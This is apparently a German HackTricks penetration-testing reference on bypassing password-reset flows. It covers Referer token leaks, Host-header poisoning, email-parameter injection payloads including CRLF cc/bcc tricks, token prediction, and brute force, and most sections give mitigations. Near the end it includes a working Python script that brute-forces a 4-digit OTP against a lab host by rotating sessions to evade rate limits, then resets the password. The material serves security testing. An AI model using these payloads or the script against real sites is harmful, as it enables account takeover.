Zurücksetzen/vergessenes Passwort umgehen
Reading time: 9 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Leck des Passwort-Zurücksetzen-Tokens über den Referrer
- Der HTTP-Referer-Header kann das Passwort-Zurücksetzen-Token leaken, wenn es in der URL enthalten ist. Dies kann geschehen, wenn ein Benutzer auf einen Link einer Drittanbieter-Website klickt, nachdem er eine Passwortzurücksetzung angefordert hat.
- Auswirkungen: Potenzieller Kontoübernahme durch Cross-Site Request Forgery (CSRF)-Angriffe.
- Ausnutzung: Um zu überprüfen, ob ein Passwort-Zurücksetzen-Token im Referer-Header geleakt wird, fordern Sie eine Passwortzurücksetzung an Ihre E-Mail-Adresse an und klicken Sie auf den bereitgestellten Zurücksetzen-Link. Ändern Sie Ihr Passwort nicht sofort. Stattdessen navigieren Sie zu einer Drittanbieter-Website (wie Facebook oder Twitter), während Sie die Anfragen mit Burp Suite abfangen. Überprüfen Sie die Anfragen, um zu sehen, ob der Referer-Header das Passwort-Zurücksetzen-Token enthält, da dies sensible Informationen an Dritte offenlegen könnte.
- Referenzen:
- HackerOne Bericht 342693
- HackerOne Bericht 272379
- Artikel über das Leck des Passwort-Zurücksetzen-Tokens
Passwort-Zurücksetzen-Vergiftung
- Angreifer können den Host-Header während der Passwort-Zurücksetzanforderungen manipulieren, um den Zurücksetzen-Link auf eine bösartige Seite zu verweisen.
- Auswirkungen: Führt zu potenzieller Kontoübernahme durch das Leaken von Zurücksetzen-Tokens an Angreifer.
- Minderungsmaßnahmen:
- Validieren Sie den Host-Header gegen eine Whitelist erlaubter Domains.
- Verwenden Sie sichere, serverseitige Methoden zur Generierung absoluter URLs.
- Patch: Verwenden Sie
$_SERVER['SERVER_NAME']
, um Passwort-Zurücksetzen-URLs zu konstruieren, anstatt$_SERVER['HTTP_HOST']
. - Referenzen:
- Acunetix Artikel über Passwort-Zurücksetzen-Vergiftung
Passwort-Zurücksetzen durch Manipulation des E-Mail-Parameters
Angreifer können die Passwort-Zurücksetzanforderung manipulieren, indem sie zusätzliche E-Mail-Parameter hinzufügen, um den Zurücksetzen-Link umzuleiten.
- Fügen Sie die E-Mail des Angreifers als zweiten Parameter mit & hinzu.
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- Fügen Sie die E-Mail des Angreifers als zweiten Parameter mit %20 hinzu
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- Fügen Sie die Angreifer-E-Mail als zweiten Parameter mit | hinzu
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- Fügen Sie die E-Mail des Angreifers als zweiten Parameter mit cc hinzu
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- Fügen Sie die E-Mail des Angreifers als zweiten Parameter unter Verwendung von BCC hinzu
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- Fügen Sie die E-Mail des Angreifers als zweiten Parameter mit , hinzu.
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- Fügen Sie die Angreifer-E-Mail als zweiten Parameter im JSON-Array hinzu.
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
- Minderungsmaßnahmen:
- E-Mail-Parameter serverseitig korrekt analysieren und validieren.
- Verwenden Sie vorbereitete Anweisungen oder parameterisierte Abfragen, um Injektionsangriffe zu verhindern.
- Referenzen:
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
Ändern der E-Mail und des Passworts eines Benutzers über API-Parameter
- Angreifer können E-Mail- und Passwortparameter in API-Anfragen ändern, um die Kontodaten zu ändern.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
- Minderungsmaßnahmen:
- Stellen Sie strenge Parameterüberprüfungen und Authentifizierungsprüfungen sicher.
- Implementieren Sie robuste Protokollierung und Überwachung, um verdächtige Aktivitäten zu erkennen und darauf zu reagieren.
- Referenz:
- Vollständige Kontoübernahme über API-Parameter-Manipulation
Kein Ratenlimit: E-Mail-Bombardierung
- Mangel an Ratenbegrenzung bei Passwortzurücksetzanforderungen kann zu E-Mail-Bombardierung führen, wodurch der Benutzer mit Rücksetz-E-Mails überflutet wird.
- Minderungsmaßnahmen:
- Implementieren Sie eine Ratenbegrenzung basierend auf IP-Adresse oder Benutzerkonto.
- Verwenden Sie CAPTCHA-Herausforderungen, um automatisierten Missbrauch zu verhindern.
- Referenzen:
- HackerOne Bericht 280534
Herausfinden, wie das Passwort-Zurücksetz-Token generiert wird
- Das Verständnis des Musters oder der Methode hinter der Token-Generierung kann dazu führen, dass Tokens vorhergesagt oder brute-forced werden. Einige Optionen:
- Basierend auf Zeitstempel
- Basierend auf der Benutzer-ID
- Basierend auf der E-Mail des Benutzers
- Basierend auf Vorname und Nachname
- Basierend auf Geburtsdatum
- Basierend auf Kryptografie
- Minderungsmaßnahmen:
- Verwenden Sie starke, kryptografische Methoden zur Token-Generierung.
- Stellen Sie ausreichende Zufälligkeit und Länge sicher, um Vorhersehbarkeit zu verhindern.
- Tools: Verwenden Sie Burp Sequencer, um die Zufälligkeit von Tokens zu analysieren.
Erratbare UUID
- Wenn UUIDs (Version 1) erratbar oder vorhersagbar sind, können Angreifer sie brute-forcen, um gültige Rücksetz-Token zu generieren. Überprüfen Sie:
- Minderungsmaßnahmen:
- Verwenden Sie GUID Version 4 für Zufälligkeit oder implementieren Sie zusätzliche Sicherheitsmaßnahmen für andere Versionen.
- Tools: Verwenden Sie guidtool zur Analyse und Generierung von GUIDs.
Antwortmanipulation: Schlechte Antwort durch gute ersetzen
- Manipulation von HTTP-Antworten, um Fehlermeldungen oder Einschränkungen zu umgehen.
- Minderungsmaßnahmen:
- Implementieren Sie serverseitige Überprüfungen, um die Integrität der Antwort sicherzustellen.
- Verwenden Sie sichere Kommunikationskanäle wie HTTPS, um Man-in-the-Middle-Angriffe zu verhindern.
- Referenz:
- Kritischer Fehler bei Live-Bug-Bounty-Event
Verwendung eines abgelaufenen Tokens
- Testen, ob abgelaufene Tokens weiterhin für das Zurücksetzen des Passworts verwendet werden können.
- Minderungsmaßnahmen:
- Implementieren Sie strenge Token-Ablaufrichtlinien und validieren Sie das Token-Ablaufdatum serverseitig.
Brute-Force-Passwort-Zurücksetz-Token
- Versuch, das Rücksetz-Token mit Tools wie Burpsuite und IP-Rotator zu brute-forcen, um IP-basierte Ratenlimits zu umgehen.
- Minderungsmaßnahmen:
- Implementieren Sie robuste Ratenbegrenzungs- und Kontosperrmechanismen.
- Überwachen Sie verdächtige Aktivitäten, die auf Brute-Force-Angriffe hindeuten.
Versuchen Sie, Ihr Token zu verwenden
- Testen, ob das Rücksetz-Token eines Angreifers in Verbindung mit der E-Mail des Opfers verwendet werden kann.
- Minderungsmaßnahmen:
- Stellen Sie sicher, dass Tokens an die Benutzersitzung oder andere benutzerspezifische Attribute gebunden sind.
Sitzungsinvalidierung bei Abmeldung/Passwortzurücksetzung
- Sicherstellen, dass Sitzungen ungültig werden, wenn sich ein Benutzer abmeldet oder sein Passwort zurücksetzt.
- Minderungsmaßnahmen:
- Implementieren Sie ein angemessenes Sitzungsmanagement, um sicherzustellen, dass alle Sitzungen bei Abmeldung oder Passwortzurücksetzung ungültig werden.
Sitzungsinvalidierung bei Abmeldung/Passwortzurücksetzung
- Rücksetz-Token sollten eine Ablaufzeit haben, nach der sie ungültig werden.
- Minderungsmaßnahmen:
- Setzen Sie eine angemessene Ablaufzeit für Rücksetz-Token fest und setzen Sie diese serverseitig strikt durch.
OTP-Ratenlimit-Umgehung durch Ändern Ihrer Sitzung
- Wenn die Website die Benutzersitzung verwendet, um falsche OTP-Versuche zu verfolgen und das OTP schwach war (<= 4 Ziffern), können wir das OTP effektiv brute-forcen.
- Ausnutzung:
- Fordern Sie einfach ein neues Sitzungstoken an, nachdem Sie vom Server blockiert wurden.
- Beispiel Code, der diesen Fehler ausnutzt, indem er das OTP zufällig errät (wenn Sie die Sitzung ändern, ändert sich auch das OTP, und wir können es nicht sequenziell brute-forcen!):
python
# Authentifizierungsumgehung durch Passwortzurücksetzung
# von coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Angriff startet!")
sleep(3)
print("[+] Dies könnte etwa 5 Minuten dauern!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # Zufallszahl von 0 - 9999 mit 4 d
parms["s"] = 164 # nicht wichtig, es beeinflusst nur das Frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # folge der Anzahl der Versuche
out = requests.get(logout,headers=headers) # meldet dich ab
mainp = requests.get(root) # erhält ein weiteres phpssid (Token)
cookies = out.cookies # extrahiere die sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # aktualisiere die Header mit neuer Sitzung
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sendet die E-Mail, um das Passwort zu ändern
ter = 0 # setze ter zurück, damit wir nach 8 Versuchen eine neue Sitzung erhalten
else:
ter += 1
if(len(res.text) == 2292): # dies ist die Länge der Seite, wenn du den Wiederherstellungscode korrekt erhältst (erhalten durch Testen)
print(len(res.text)) # für Debug-Info
print(phpsessid)
reset_data = { # hier werden wir das Passwort auf etwas Neues ändern
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Passwort wurde geändert in: D37djkamd!")
break
except Exception as e:
print("[+] Angriff gestoppt")
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.